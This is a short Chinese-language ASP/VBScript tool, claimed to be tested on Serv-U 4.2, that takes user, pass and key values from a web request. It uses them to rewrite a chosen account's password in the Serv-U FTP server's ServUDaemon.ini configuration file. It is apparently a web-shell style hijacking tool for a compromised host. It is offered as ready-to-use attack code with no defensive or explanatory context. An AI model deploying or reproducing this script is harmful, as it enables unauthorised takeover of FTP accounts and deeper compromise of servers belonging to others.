以下代码在Serv-U 4.2上测试有效

<%

' |###########################|

' | 网海求生者QQ：54883661 |

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' |###########################|

inipath="D:\Program Files\Serv-U\ServUDaemon.ini" '设置ServUDaemon.ini文件路径

user="[USER="&request("user")&"|1]"

pass="Password="&request("pass")

key=request("key")

if key<>"" then

dim os,userlong,passlong,pl,s,ss

Set fso=CreateObject("scripting.FileSystemObject")

set os=fso.opentextfile(inipath,1) '读取ServUDaemon.ini

s=os.readall

os.close

userlong=instr(s,user)+len(user)+2

for i=userlong to userlong+20

passlong=passlong+1

if asc(mid(s,i,1))=13 then

exit for

end if

next

pl=mid(s,userlong,passlong-1)

ss=Replace(s,user&chr(13)&chr(10)&pl,user&chr(13)&chr(10)&pass)

set os=fso.createtextfile(inipath,true) '写入ServUDaemon.ini

os.write ss

os.close

end if

%>